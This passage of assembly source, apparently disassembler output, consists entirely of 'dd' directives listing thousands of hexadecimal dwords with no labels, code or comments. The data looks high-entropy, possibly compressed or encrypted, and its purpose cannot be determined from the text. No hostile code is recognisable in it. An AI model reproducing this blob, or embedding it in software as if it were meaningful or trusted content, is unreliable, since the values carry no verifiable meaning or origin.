		dd 8B8C2B05h, 0FFFCB400h, 12B3B41Eh, 0D0F73291h, 4DA0FE4h
		dd 5921CD00h, 0DD66176Ah, 22351A13h, 0D847A802h, 0BD63EE44h
		dd 2E38D4E1h, 2E0DC820h, 243512B9h, 0B0A43606h,	31BEBFCh
		dd 90A982DCh, 50D9ECB2h, 5474C04Eh, 54FA08Eh, 569A3C47h
		dd 96F030CDh, 92002D0Bh, 0ADC2B229h, 93BE6Eh, 954523E6h
		dd 2A1BDF66h, 8B810F09h, 83CC8162h, 33A59E4h, 86737034h
		dd 1A016100h, 588C654Eh, 252F639h, 498EBE2Fh, 0F4720D69h
		dd 572A262Eh, 0AC802813h, 1CD891FBh, 84224149h,	0CB21386Fh
		dd 0C07BC894h, 1CF74521h, 0BFC43C91h, 23E02F57h, 0F8D9146Eh
		dd 1D03D222h, 79C1A4CBh, 53CCA9C0h, 0DC309031h,	836240AAh
		dd 0A84FDE4Eh, 46728697h, 3020A418h, 0E86168A1h, 9F076C66h
		dd 0EC60A6FDh, 2664B0E0h, 2B3A1E0Dh, 6629B0A2h,	1AFA230Fh
		dd 0AC8B74Dh, 0B70E57ECh
		dd 6B8E7801h, 834E42Bh,	8F0A01FBh, 980653C7h, 12F0289Eh
		dd 0ECE2AAE9h, 0AF307BF2h, 0C37E474h, 8277DDDCh, 94A16550h
		dd 0A2B0336Eh, 39773076h, 9C3A9600h, 511D1B08h,	8060968Bh
		dd 0EEBE7B8Dh, 2A03AE40h, 13B82496h, 0E4088560h, 11E4A667h
		dd 0FF457CDDh, 4E3458F2h, 29490A2h, 3AF47A41h, 0ECAD5707h
		dd 8FD0C04Ah, 0F2D20B21h, 0C3EA0A65h, 60F05383h, 71D8F95h
		dd 9C2C05E4h, 0F213E0A8h, 0C03DD808h, 1737C828h, 916EF721h
		dd 3053008Ch, 1EBC6CC8h, 0D74F05DEh, 81586D60h,	3643688h
		dd 3A25802Ah, 7815E0D2h, 0ECCD58A4h, 28C83E8h, 0D657F490h
		dd 1CD18B03h, 5B186ED9h, 933B9B3Eh, 0C82BBF6h, 6270C1E3h
		dd 697AB050h, 7604E11h,	853B83E4h, 0FBC42014h, 4217D92Ch
		dd 784329EBh, 94C3E801h, 5C92ACC5h, 0E0FCCD46h,	9A1E433h
		dd 97882C00h, 0FB162418h, 0F5EC013Ah, 40039320h, 0DC406A74h
		dd 0D0BC2258h, 9FF91350h, 0D6C44311h, 0F1696B06h, 902466C8h
		dd 7A242CA0h, 0A7ACA9A8h, 41B88C90h, 5EAD4925h,	17B201CAh
		dd 4278AA60h, 0EC4987E4h, 802E2F20h, 8F006F23h,	5C97FE4Ch
		dd 0A06A7C58h, 80B3F7C0h, 7060134Bh, 0D78A3299h, 0A8EE50ABh
		dd 686134Ah, 0E55081DFh, 70E4E92Bh, 1D00DB34h, 69B9D6Ch
		dd 0B04802D0h, 7CE90514h, 0C20FC73Dh, 84A44AD8h, 0A84EF72h
		dd 383234B4h, 1D8B601Bh, 2409DFFBh, 52018448h, 13ECB40Ch
		dd 5F695Bh, 0C1940ECBh,	2E5C0F8Bh, 3AA25900h, 0B5389610h
		dd 0F39082h, 0ED42949Dh, 55CAC9BFh, 5936C500h, 19816A3h
		dd 7ADE88Dh, 0AC726ADDh, 0A2BF00A0h, 0D0F06B18h, 32493Eh
		dd 442B985Ch, 0FC585h, 55C2C9F5h, 0AF1E15BDh, 9CA8E10Eh
		dd 0CA99E0B3h, 3FD80A2h, 0C246A3FFh, 25D80EBAh,	9427A108h
		dd 8BE49086h, 0F8EBF14Bh, 0A881744Ah, 0EC256DC8h, 0DF9B0E3Fh
		dd 65035033h, 9E497017h, 4B287CE0h, 891C0B8h, 481882D1h
		dd 8471F806h, 96197DDEh, 0B8914030h, 6098E35Fh,	7011E700h
		dd 0C5E56E53h, 0F0B33863h, 88DCCBCFh, 7775C0E4h, 0EF033023h
		dd 15029265h, 46C9B50h,	5BF001D0h, 0DA6F00D9h, 948B040Dh
		dd 6E467624h, 208C0412h, 0B2718D98h, 19E26A09h,	9C70872Bh
		dd 0D01B6340h, 168906Fh, 5ED8B85Ch, 0E9038504h,	17106D45h
		dd 6C00F09Dh, 0FC2B55B8h, 0C72C8883h, 86D12099h, 7A71CF18h
		dd 17FF7B0Fh, 0EB0D7E89h, 1ABCF8ECh, 23402A4h, 4A3EC2B0h
		dd 601488D0h, 4F947192h, 6FC870CBh, 0C8100C9h, 0CBE043h
		dd 0D4FB9FC4h, 2BD6B839h, 0FC716BEAh, 0C4F8022Eh, 83DC7240h
		dd 52C600BAh, 0BBA21E18h, 76010581h, 0C85A5D60h, 0A8BED8ABh
		dd 237B8C00h, 0CB63F788h, 9CC9E0AAh, 93B183Fh, 270223CDh
		dd 498030C5h, 0D0C0CD33h, 2E647316h, 11E81B18h,	0AAAF0984h
		dd 5C60808Eh, 0F0A3F9h,	0E6049CCBh, 29FAC2BEh, 57993D13h
		dd 0F8011C91h, 0B6F4CFh, 698B9588h, 8490C819h, 160209FBh
		dd 0F8F8D98Fh, 2974A231h, 83CCDF4Dh, 0EAE51F31h, 0ECD38005h
		dd 7C545575h, 743D9601h, 83F75A6Bh, 534C6F6h, 32508F4Ah
		dd 8AB49265h, 1700385Ah, 6F6CFE14h, 943BC4h, 0BD1F410Eh
		dd 0EB64028Eh, 47C52351h, 3925238h, 49CBCD0h, 63C1D659h
		dd 483CA98Bh, 5C99B040h, 59F8B39Dh, 2B3A4C30h, 0D4FD4581h
		dd 70FBBD1Ah, 2E7B703Ch, 0FC463507h, 0B4013A30h, 402CE7DDh
		dd 0F890744Fh, 8CE3ACF0h, 164CBF48h, 2C040DE1h,	0B3139ECFh
		dd 3070E2D8h, 5400E253h, 0A6A137AAh, 9507D5E7h,	64236410h
		dd 123A7741h, 0C0809B00h, 141F29D6h, 205365E3h,	0F2A8B28Ch
		dd 538630E3h, 93465B05h, 0C8A1FBh, 3D8400CFh, 4970351Dh
		dd 17092AF6h, 576A650h,	0BC812918h, 9D007CD4h, 865F200Eh
		dd 5FD1C000h, 96FBD2A6h, 0CBDB8ECCh, 0ED3618C5h, 988AD308h
		dd 6C088C8h, 62034A55h,	67169036h, 47E00101h, 3A6A3C61h
		dd 8523C0h, 0B1ABEFB2h,	9B02E84Fh, 0F8136B5Fh, 47AC6A65h
		dd 607E4470h, 0C069A284h, 34202BF1h, 9C000D70h,	93CFFBDAh
		dd 0B8ED41FEh, 0E284185Bh, 98E7918Fh, 0CE834Fh,	65C18C88h
		dd 60DA1A77h, 4BCA2027h, 6E148860h, 0DC78BC00h,	3ABF0E43h
		dd 842740C2h, 3974E4A9h, 60420054h, 0DA3AB670h,	6FA901E5h
		dd 1E53FA17h, 5AF1D702h, 2C042475h, 8E3458FAh, 83091045h
		dd 11441D94h, 0DAA381F0h, 985073A1h, 3E74E9Fh, 622892C9h
		dd 53DFD515h, 0A8806425h, 7000B64Ch, 0C30ED22Ch, 0F03882E9h
		dd 3B7184h, 0A487FC6Fh,	54064817h, 176798DEh, 8170916Ch
		dd 380CD05Bh, 0F5058861h, 10083017h, 0C499453Eh, 20749262h
		dd 77D6F0D4h, 27D7184Dh, 6AEC60B7h, 2F88A274h, 1C750B8Dh
		dd 0C0D040E4h, 0B2527213h, 1990BC0Eh, 2F6AB350h, 3A712398h
		dd 3687EB03h, 23C82BB7h, 49066F4h, 0DA3C6B78h, 0B460092h
		dd 322A263Eh, 5D604B99h, 8EE80B20h, 0FC2D387Ah,	910097FAh
		dd 0A4168076h, 7C266B5Eh, 62B50396h, 704C03EBh,	22488848h
		dd 0FF310075h, 0C622FAF5h, 3D12D984h, 0A00135EDh, 2B0A6737h
		dd 0B12A5AD0h, 88354908h, 0C9DA80BAh, 1FB79E7h,	0A2D772D8h
		dd 0A7C82CCh, 0C099214Ch, 0C8322BD5h, 0E7DE1814h, 0E8B8640h
		dd 99948897h, 0C4F1582Bh, 0C85EA831h, 6303D601h, 2C207C10h
		dd 202B4C6Bh, 0C1D1C5C4h, 0D0423C07h, 0BA7D91A8h, 0C65CE509h
		dd 0FBE0609Ah, 17342A2h, 170C35A8h, 0D0CF709Dh,	3D77F9C3h
		dd 0A180E9E0h, 32AB1518h, 700C6E3h, 0FC76280Bh,	50A3992Eh
		dd 20D664DBh, 209959Fh,	68E24815h, 942BE7E8h, 526F0210h
		dd 0F8513E8Fh, 0A188879h, 2500E3E6h, 694670CEh,	4ED90210h
		dd 0B62C203Ah, 0BA04B784h, 3356C9Dh, 176E5A04h,	0AEC4C8h
		dd 0FC64910Bh, 43AA5B9Ch, 0B9946B12h, 0FECA5C80h, 6A90A181h
		dd 6BC12210h, 0CFA3A404h, 20C01F39h, 0B0329FCh,	626E5474h
		dd 18F78844h, 319A0B46h, 0B0E544EBh, 9A3E2482h,	665C40CEh
		dd 9D4D0EECh, 1B40F1E1h, 0FBA3F560h, 26006C9Eh,	0C8D999D6h
		dd 664D008Ch, 632B546Fh, 0C63170B7h, 8E46E17Dh,	60C00204h
		dd 290061EEh, 0B972C5EDh, 0E33501A4h, 20CA6DFBh, 13094728h
		dd 79E9A430h, 0F90847Ch, 70F8C173h, 629D0387h, 4E0E5840h
		dd 0A50CC06h, 0BA17FE86h, 4FE983FCh, 0B81CCE07h, 3216E005h
		dd 5840E400h, 3D3BEB0Eh, 0E9068E78h, 4866226Fh,	9C9F0703h
		dd 88DC2AFCh, 981E63A2h, 496A34C8h, 0F2C0E2C1h,	0C7EA336Fh
		dd 0F44740FCh, 0C8681613h, 52F851Dh, 18D00684h,	0B2A0F338h
		dd 0E7D13084h, 0EF61FA09h, 9970227Fh, 17AC6451h, 0E0D1ED2Ch
		dd 0BA29EBC0h, 837934A0h, 18091318h, 0CA4805B4h, 785AB8h
		dd 0AD3D896Dh, 5E23A0BEh, 6B737B07h, 0B20F730h,	9860CBAh
		dd 53990307h, 0FDFF2C69h, 0F01D247h, 0F8ECEBAAh, 0E2293BBEh
		dd 0DE11D8CCh, 58B7095Ah, 0EE64A4CAh, 0D9B914E9h, 7E9660FFh
		dd 30FBF7ECh, 0F04AE970h, 6CC0BCDAh, 0C760E812h, 0C4D30627h
		dd 0B19C6074h, 28F5CB69h, 31BEF900h, 8DA6C9A2h,	0DB364BE6h
		dd 3B668020h, 263DB651h, 40BCD2FDh, 36689F96h, 0CB8C6350h
		dd 0AD9DEFE4h, 58D08918h, 160BC32h, 17AFE805h, 48042EA1h
		dd 2A0B60B6h, 9A0038D1h, 579075Dh, 997C002Fh, 0F50B1DFFh
		dd 0DA3CD7B6h, 0E057A414h, 0EF288249h, 0B0C473h, 0D469F081h
		dd 0EB75170h, 0D78084B7h, 2090B0C2h, 0F3A65C4Bh, 8E77CD04h
		dd 20ED0DEDh, 0E70E5402h
		dd 90587835h, 0F8CA6B20h, 41DB6008h, 0C89B9D37h, 30460090h
		dd 369A4B02h, 567CEBh, 90431F58h, 1EC90200h, 79D233B9h
		dd 0BC1D47Ch, 0C5078330h, 1B0C4209h, 0DC085A98h, 0BE84674h
		dd 83D60BC0h, 0E05E28E8h, 132B2E6Fh, 0F0602353h, 6098750h
		dd 819D58E0h, 4E489F00h, 0FA107038h, 735E808Bh,	1DFED454h
		dd 0A32CEh, 0F35546D8h,	334E0581h, 79D4C8h, 7F611243h
		dd 0FD013860h, 837A920Eh, 0E9FE836Bh, 0CE285FCFh, 0C071C8F0h
		dd 0B3FD0533h, 9AE3F900h, 1FFE5470h, 2C0898B9h,	8C8AED1h
		dd 6549B3EBh, 61E2E470h, 0E06BA19Fh, 8779F254h,	92200098h
		dd 20E89060h, 0E8F99CFAh, 18C2486Ah, 0B78F0301h, 7F8C80D4h
		dd 0F814A015h, 0BF332207h, 138491B0h, 1602E8F9h, 0E1FBE002h
		dd 0DEF8B040h, 1EB141C0h, 9E2AEAAAh, 201A2728h,	84112C5Ch
		dd 0B8000B3Dh, 0D072F2E2h, 6602DDB6h, 4EEA7FB3h, 50445E2Fh
		dd 0D707B502h, 1EB0F0E3h, 36F7C0BFh, 108D5C87h,	9D37FCAh
		dd 10E0842Bh, 0A0D1F7E0h, 0E63DEE7Ch, 9E19097h,	4206DFE8h
		dd 405EA4E0h, 343B2917h, 53832006h, 3847410h, 3A312346h
		dd 0EAE2CC99h, 5DF068E4h, 3007FC91h, 2AC0153Ah,	49FC73D2h
		dd 0D37B1401h, 0ACE250h, 76C10F42h, 91A645Fh, 0BCA34B08h
		dd 0AEF4C600h, 33B06E06h, 0F82A2230h, 4B02392Bh, 8D0D66Fh
		dd 8B42C97h, 5E84B423h,	0E00E6F46h, 4E8EAF71h, 86650E80h
		dd 0AD48E7DEh, 6CC45058h, 1044875Fh, 690239C3h,	9005DC0Dh
		dd 51B21482h, 188B7914h, 2C4B09E7h, 0B787E387h,	0DC4E7012h
		dd 835913D5h, 0DABF12A0h, 85EC54A8h, 1F1078Ch, 59C9FD04h
		dd 519808Ah, 0C8482A50h, 0BF244CB8h, 0DA11C086h, 880A2804h
		dd 8138D53Eh, 3D774EA4h, 0BA1B1048h, 31061864h,	7208D67Bh
		dd 53104D42h, 10D23FDCh, 8A027C4Eh, 0DB7813A1h,	0B128E063h
		dd 8926B090h, 0EB10FCD2h, 0A2A228CFh, 1465F0CDh, 0ED60F0E4h
		dd 0E2488435h, 70178154h, 0F06D4726h, 3A014023h, 1F0222CDh
		dd 4AB06C38h, 0DA04CD32h, 5C03632Ah, 12FD68B0h,	886FA4FFh
		dd 0E83A0150h, 2E744087h, 64008E56h, 53D3407Eh,	3A02C79h
		dd 0D1764385h, 0E0C980E9h, 5887E4CCh, 0F001C006h, 1348EA8Bh
		dd 8B8F9F0Dh, 0C37BC8F8h, 47B02164h, 8F13304Bh,	944F2A68h
		dd 0D0207729h, 153D1Ch,	53472272h, 2B11D52Fh, 130C5C1Dh
		dd 0E9E7ED43h, 22D6A09Eh, 9BDF02Dh, 7A91CB5Bh, 5C0314CEh
		dd 0C63EF9C2h, 6A0ED232h, 70E4DCh, 291E59CCh, 0A09D5BD7h
		dd 5294A412h, 0A300C4B2h, 93B3CAEBh, 5809ACD7h,	488B3D25h
		dd 0C3D668h, 475A3A20h,	0CF91DE7Bh, 0A588531Eh,	77E85D80h
		dd 0E6C9BBh, 659D5C46h,	0E33D87B7h, 26EFA3Ch, 0DDB45D2Eh
		dd 0F800707Fh, 0E8AC02D2h, 6D6510Eh, 0ED08ECC4h, 970A02Bh
		dd 205E842Dh, 90589942h, 0F96D0E8h, 0E94E0520h,	0F48B213h
		dd 824CCB3Fh, 56269585h, 99804050h, 0A4028EB6h,	31EE2071h
		dd 0FF14C0E5h, 0E37F28EFh, 0D65513F4h, 8BD8D10Dh, 8379BEADh
		dd 53E69EDh, 0DA4A02D1h, 19A03FCBh, 1788C9E0h, 6F926012h
		dd 0E935B0C0h, 0EF940085h, 0E89504DCh, 0BB00452Fh, 15E75CBFh
		dd 0F2B2D7h, 0A098086Dh, 0DDB05083h, 8AB61800h,	772D6175h
		dd 0EFAA00D7h, 56A4E813h, 2B74CD43h, 0C750AB1Fh, 90416580h
		dd 0FF70FCh, 0B2E6D881h, 803A2CF3h, 6F2A8803h, 0E0A24B78h
		dd 2022BB0h, 1465EFD9h,	0B4E09DF5h, 577E6FB5h, 74C8E600h
		dd 724E85DDh, 1D9B763Ah, 0C0DEA247h, 7601C58h, 0B6585DABh
		dd 6BC800F0h, 15E39197h, 68663A9Dh, 0A190EA06h,	2C03D865h
		dd 0CD2BA7DFh, 0E116F25Fh, 0A8F0B933h, 878EAh, 0AA4265D8h
		dd 0A526BBE0h, 0F4982C00h, 5DE8AE59h, 0DCB2001Eh, 0A656DB1Ch
		dd 0B0E377Eh, 0FDE589h,	4C0DE6B7h, 3DBD0067h, 0DFBB8171h
		dd 2C0FC131h, 9E6F7A08h, 0A37B1830h, 74C9154Eh,	46E020B1h
		dd 78802BA1h, 4D053A24h, 4CC4E401h, 0D418EFB8h,	3A1F2741h
		dd 94008348h, 0CDE9B91Ah, 78D3000Fh, 0EDF57221h, 18874D04h
		dd 0D98A80B5h, 14080341h, 3BE10770h, 3FBFA80Eh,	0C7D3C09Dh
		dd 0C5133A0Dh, 2584981Dh, 264BCBC0h, 298B4938h,	3234F73Bh
		dd 80A20D08h, 21378F53h, 0AE86F0A0h, 849A2300h,	6B3A6DBCh
		dd 1F517A31h, 0C033AA48h, 9C5BFD91h, 0C400A484h, 56F5CE3Eh
		dd 5160BBh, 2A979550h, 0FD86A761h, 1DF39A07h, 0B4D6C5A4h
		dd 516C4229h, 7E2990C0h, 44B2EA84h, 314450F8h, 42A2487Ch
		dd 425B12Ch, 7A112804h,	44F4C644h, 0B048B755h, 2578DA42h
		dd 0C21404CAh, 803C48B5h, 9EE6DD34h, 96002C1Ch,	0E3FBAA0Dh
		dd 2E2882h, 0FCB00868h,	0ED0775E0h, 0AD90E200h,	281369E7h
		dd 588F86Fh, 1C6DEB91h,	2390C02Dh, 1D00D1D7h, 2C587D64h
		dd 0FCACFBh, 88A75F25h,	0B8E430C0h, 3B007475h, 22F1040Fh
		dd 1AE8CCEh, 0D621BFFEh, 70435BEEh, 0D4006F2Bh,	2C913AA6h
		dd 386EC017h, 0EA126C90h, 4AF10EDFh, 0CDA02EE0h, 0F9077DE6h
		dd 70396E44h, 6769E190h, 0E88C00A5h, 1A884954h,	7007D75h
		dd 0A9F55293h, 0EFC460h, 0B3ECBB17h, 73CDF820h,	4675C200h
		dd 1C01670Ch, 57C7014Bh, 0B80458E6h, 372FC8CFh,	16651300h
		dd 35377D7h, 1DE20Dh, 6A38A285h, 2E7E3399h, 7860903h, 0C0FB0664h
		dd 3C6C05h, 38207071h, 0DE696ACEh, 0E9D5AD00h, 6896A293h
		dd 1A25000Ah, 20D7034Bh, 29014F46h, 7363455Eh, 71D0A2C9h
		dd 0CF6B2D44h, 8C0042F4h, 4E5D84B3h, 0EB050036h, 0C0C31BA8h
		dd 0CF733193h, 0CC7B8000h, 4FC7CAD4h, 5C3F0320h, 0F1C2C6CBh
		dd 9582E7B8h, 36683900h, 8172EBC8h, 0A79703B0h,	8B73384h
		dd 29AA6FCBh, 12ACDD40h, 0B710100h, 767B4AF8h, 0C6E4F546h
		dd 151F099Eh, 95039AE3h, 0D7B073EEh, 1B1D0941h,	65005A25h
		dd 0FABFD866h, 778F036h, 90C7D93Ah, 0D192208Dh,	70698B5h
		dd 6D1AB1EEh, 741E98C0h, 634A0094h, 9241279Eh, 5D0080C5h
		dd 0AB8F4FC2h, 0E8DE5D5h, 0CC2C5CB3h, 6D2036C2h, 3FC0D443h
		dd 0A800ABD9h, 9BD49DC7h, 0B88AA6E9h, 1D3D3052h, 85C7478h
		dd 0EDA44E18h, 2C70BA70h, 308D77C4h, 2DDEFDF8h,	1C1C280h
		dd 0A20F4AB0h, 207F4558h, 5D002234h, 505B5332h,	0FBA84FBh
		dd 0BB1B498Ah, 8452AFC4h, 0B973806Ch, 0A9F63729h, 0B61DA5A0h
		dd 0ED8CB203h, 0B091D335h, 16DB5FAh, 0E8F6AB27h, 0E07526A5h
		dd 0F80076FFh, 0A27B3D06h, 1CEAF0C0h, 684DD4h, 63A7B1F5h
		dd 26002747h, 0DFC3FAE6h, 661178h, 3A3B032Ah, 35BDC28Ch
		dd 0B86F7E07h, 4250280Bh, 1214D5Ch, 3FA63A69h, 20D223A2h
		dd 0AF00D140h, 0D7DBC60Ah, 0AA9C8DDh, 5D69D89Bh, 0EB1F00E0h
		dd 0AB35936Ah, 9501A7ECh, 78307E20h, 80CE3B62h,	0E7BC86E8h
		dd 0BCF95EC9h, 79F0038h, 131B28FEh, 2110032h, 775EE8CCh
		dd 96001FEEh, 0FAAA2C9Bh, 0B0DA0E18h, 9D710098h, 0EC5A5E26h
		dd 0E902CDD6h, 664222B7h, 0EFE480EEh, 3E3523BCh, 0D03D2D19h
		dd 4EA900F7h, 0C821AF68h, 0AD0027D2h, 0F8AA6D5Bh, 4C2D96E3h
		dd 9800401Bh, 0F9AEBBECh, 893DFB05h, 20048060h,	0EF368CF0h
		dd 0F82E4FF2h, 67007ECCh, 0DFD3CE0Fh, 0CB045h, 81055785h
		dd 8CDE6BD5h, 427F3102h, 4854F230h, 554C24h, 9FCF7852h
		dd 97A585D4h, 9D0951Eh,	1733D82h, 183AE0D6h, 30FDABh, 0B5790019h
		dd 94F1A3FDh, 0B0A4BA8h, 84CCF472h, 67E68400h, 36AFF5h
		dd 7F50458Ah, 0D5E930BEh, 1B7F009h, 0A14820C8h,	5862A90h
		dd 0DBFF5531h, 5BD30034h, 3C2F6898h, 0E1230F00h, 8F40427Bh
		dd 71EC07CEh, 0F872732h, 604E0127h, 0DA43D6F9h,	0E0044600h
		dd 0D86A0A56h, 0E8D00021h, 297F7385h, 901BB35h,	4A486B07h
		dd 0F880D169h, 61BCC040h, 71002712h, 0FB9265BDh, 2B483Dh
		dd 0C13BD509h, 0CCE5345Bh, 8E2A7900h, 8DC8E40Ch, 271B39BBh
		dd 0AF3F7607h, 4023607Ah, 0C9001FC2h, 44F2499Fh, 0FE3B5336h
		dd 0ABB100C4h, 0D62C9229h, 96283389h, 790094DCh, 0F236DEC5h
		dd 0B65E43h, 3A1BA37Fh,	0AF9045FEh, 0C4753Ch, 0AE4C12Dh
		dd 3B4F86E8h, 0C7007681h, 338AE008h, 931F8385h,	6DC9A405h
		dd 0C0182FB2h, 0F9AB9E84h, 24F8EFh, 3E0E6076h, 59D4D50Dh
		dd 2135300h, 0EF5146D8h, 4476001Dh, 0F7F4255Bh,	5C00D2E7h
		dd 94E3E848h, 35A17Fh, 8ACDB1E6h, 0DC301940h, 2C4F8000h
		dd 466AF35Eh, 3D70E802h, 12802009h, 543C270Bh, 240026F1h
		dd 0E664629Dh, 7C73B314h, 5C29001Ah, 3BD22EDAh,	0FA0B58AAh
		dd 21338222h, 8DE698B8h, 26DD38ECh, 2687CCh, 0EA28B68Ch
		dd 6001FFC3h, 4761DF9Ah, 0AFC3934Fh, 64AC280h, 0CE010330h
		dd 0A1F5C90Dh, 48FDECE0h, 0A6E71F00h, 73262FFAh, 0F1FE0033h
		dd 7E745921h, 1100D76Dh, 4064B332h, 26F7440Ah, 9C090B7h
		dd 8D00F109h, 0C90C728Ah, 81DF3600h, 0E7C8E30h,	18EEF4CBh
		dd 0CA5B3180h, 4F123DC2h, 0F440EBC3h, 3F0359BAh, 71F700F2h
		dd 0E495D827h, 310940D5h, 90F0606Ah, 2E81FC8h, 17A10DA3h
		dd 0A4601322h, 6E007981h, 0E3F2AB32h, 0F0DF17Fh, 4F42D2B8h
		dd 297E37E0h, 0CF00D77Dh, 0F2195D32h, 8D9141h, 8A4F67E5h
		dd 0CAC8EA85h, 7A2A0609h, 0D8E5809Ch, 150D6E6h,	3449B1D2h
		dd 0EC032D10h, 9D0080AFh, 8D48AD37h, 0B0C5657Ah, 6886008Fh
		dd 15F6BBFBh, 0AB000A8Fh, 3DC40F7Eh, 0D1D6BEh, 0C16CA393h
		dd 167B3EF7h, 9FE3C03h,	0C89A48B7h, 0D7BE54h, 62466FF1h
		dd 8191EB7Dh, 88A9A300h, 311A2A32h, 3EC3F4ADh, 2FB973CFh
		dd 389D2080h, 775B85FDh, 0E58FDCF7h, 4EB67500h,	40B14930h
		dd 0BF0B1693h, 3490008Bh, 97573386h, 0AFCB9D00h, 2B4F8C2Ah
		dd 0CD4700ABh, 148720A1h, 0E626FE28h, 0DA00273Fh, 60A8A0C2h
		dd 113B6042h, 0D55DB1A3h, 0E067AA00h, 0F177E8EEh, 94824CFFh
		dd 6FDA9F80h, 5E0241ACh, 752B3249h, 7624606Eh, 28258033h
		dd 0A5B90900h, 0B498456Fh, 7255007Ch, 75E4A0C1h, 5448245Fh
		dd 0C53D99h, 0C7DA1DCh,	0DD6D81h, 0E0FBCF88h, 0D597A3FCh
		dd 3B6C8B1Fh, 8042BB09h, 3E8E73Ah, 84C00008h, 9F4E70D9h
		dd 203E96C6h, 0B0548A10h, 4F00E4F3h, 4404401Dh,	0E35802FBh
		dd 7B7457FDh, 522CB380h, 0D926D035h, 0BD003CDEh, 4DEA4A8Dh
		dd 62C200DBh, 0EE768BC6h, 0C40ADD49h, 8370CC6Ch, 3C707418h
		dd 0CD8700B3h, 4D0A31A7h, 8B49C734h, 88090160h,	1985F97Ah
		dd 0F6D43C30h, 0B94246Ah, 0B6870EA0h, 4311F2E1h, 0F39E602Fh
		dd 19FADE00h, 81345FEFh, 0CCD10114h, 0F07F6771h, 0E85442h
		dd 0ED2CD9E0h, 0EC002E14h, 9C6EE50Bh, 98F993h, 0F61FD76h
		dd 0A0F08F29h, 1C58F6A0h, 0C4A710C0h, 4CFBE4h, 33D09E39h
		dd 2C077DEBh, 110037E2h, 5560DE86h, 0FE8501h, 437B5939h
		dd 9A4DD0D8h, 54F05Ch, 0AF0EACD2h, 3AB85E2h, 5487A750h
		dd 80C40BEDh, 0DC5A603Ch, 0EB3DFB71h, 0FFCB802Bh, 0E64A9CA7h
		dd 409815h, 899DA0FAh, 0D0C0F3F9h, 5C7EFD07h, 0DC967B61h
		dd 5E4F0011h, 0C0E687Ch, 3C90EF6Ah, 0DE8F7D00h,	9480B26Bh
		dd 7A1A05D2h, 0D0610905h, 4C5878D8h, 0D40145EEh, 56CAC7CDh
		dd 0E6BBDD4Bh, 21F46C00h, 3077ECD9h, 7C386005h,	0D883FBE2h
		dd 3904B086h, 840505B7h, 80E3C3EEh, 66D6A4D4h, 7A5E1B16h
		dd 0F4E14C01h, 0E4F5589Ah, 80324880h, 86202A72h, 3D9BC52Ch
		dd 12267000h, 9A5C1Eh, 0CD93C0ECh, 8311DF2Fh, 1650491Fh
		dd 18821970h, 0E6BF000Ch, 3C7208DAh, 243CCB8Eh,	98C4F0DCh
		dd 10B005B5h, 0C6152836h, 0EC9869B0h, 0A0004892h, 567776A5h
		dd 0C240F9FCh, 97730FD2h, 40DE30C5h, 351BC67Ah,	0AD2E5F1Eh
		dd 0E6071C36h, 53F033A4h, 289CB2Eh, 971961DCh, 0F1E048DDh
		dd 0EC00E3B2h, 0A376426h, 0F7EAA79h, 4A24B5E8h,	0D70F7860h
		dd 0BFE60677h, 14A07B1Ch, 48EDCE40h, 91498Bh, 0D8B11504h
		dd 6A01971Bh, 4AF20BFEh, 2D0A1900h, 96AF032Eh, 2FBA039Eh
		dd 0C9D21A30h, 0ED443024h, 0A4DA5405h, 0B53DC000h, 0A67887h
		dd 3BFD5E3Eh, 0BA7CDDC3h, 0FF583800h, 21DCC231h, 0D652006Fh
		dd 5F63399Eh, 0D371ACD0h, 3725B60Eh, 0C0AB406Bh, 2CBEF79Ch
		dd 334DA2Dh, 0CEA73BC6h, 23B8D790h, 0DFB2A317h,	0C7F24800h
		dd 53EA5D9h, 7B4AF77Fh,	2AAF80CAh, 73008977h, 0C45EFA03h
		dd 78ADABD8h, 0E281FC2h, 146B933Dh, 0FB05E4B2h,	83D5AAD9h
		dd 0B0A7AEC9h, 0C51FB336h, 87DCBA00h, 169F1886h, 948B00B4h
		dd 5EC62230h, 4C09A59Ch, 1AE7E78h, 97878E44h, 60276F01h
		dd 0A50F490Ch, 0C4C89CB0h, 6807E2Bh, 2EADD057h,	0F8A7FCh
		dd 6A960364h, 8602352Ah, 0B0B83345h, 28598Dh, 0B162C3BCh
		dd 0AD00046Eh, 1BF35F39h, 1E814F9h, 0A865979Bh,	0F49CC5E6h
		dd 710F39C8h, 20E3CBAAh, 85EA446Dh, 0F4925CAFh,	0A1D85A03h
		dd 80B5A632h, 9C9E5D8Fh, 0B291AB00h, 597E70AAh,	0FC78005Ah
		dd 0F98510C3h, 0E5009B81h, 0A1B16CB8h, 0A0B02E62h, 482B3BA2h
		dd 801D7087h, 1BDBC1BCh, 0C46B8F4Ch, 0F0000860h, 6D7145DFh
		dd 15B69h, 0D79CAAFDh, 5EA07063h, 1B18FC7Ah, 0EF116FD6h
		dd 949F0FEh, 0EA0A2C6Eh, 601D2087h, 172D273Eh, 3CF43200h
		dd 3AFD9637h, 4CE21Fh, 6EF6F340h, 1847EDADh, 0F7461309h
		dd 7398002Dh, 725DD45Eh, 0E590A3h, 0D76D57Bh, 0C29F6F79h
		dd 0EB2E5901h, 0ACA399ECh, 1F5A7E70h, 0C0175CA5h, 7DE7F184h
		dd 6400FA92h, 0D6E5DABFh, 0B8FB4CABh, 62F04Ch, 210BDED4h
		dd 52CAE7D5h, 8ADF4300h, 0A9F71780h, 0A48F3CEFh, 2037A703h
		dd 73A8415Ch, 1B07A8A6h, 5AE4E3E9h, 0F71DD370h,	2EB50047h
		dd 52FACC20h, 9C26A5CAh, 0C700563Dh, 9E83FB85h,	0F45E00B2h
		dd 3F15714Bh, 0F87CB71Ch, 7C439401h, 872ED06h, 2AF13DEDh
		dd 3E328430h, 0CB002BFEh, 306AA28Ch, 0E900170Ch, 6CB47EAFh
		dd 223146h, 332158F0h, 0AC563281h, 30349D5Dh, 0CC9A1185h
		dd 587900A0h, 46660EDFh, 9225AE09h, 0F9B02268h,	39EA817Eh
		dd 0A4202F0Bh, 80520066h, 0C9CEB0BDh, 551E88A5h, 114E47DAh
		dd 0F674027h, 1E7B28DBh, 178DD3h, 0E85E5987h, 0F20164A1h
		dd 86B37154h, 0BECD97D9h, 0F34F30h, 3BB7FFB1h, 0C2D4A004h
		dd 7EDCAF00h, 3F92EFF4h, 301EEC50h, 0BD1A8E4Eh,	0AD00E233h
		dd 46BC9523h, 0FF8053Ch, 6BD36A6Ch, 3D06405Dh, 920D70E8h
		dd 94318C00h, 0CB5F5340h, 0C79000D4h, 0FD7DDC96h, 0A07D236h
		dd 0BA7AB9E6h, 494340DFh, 297117h, 0B797A70Bh, 0E3C08E37h
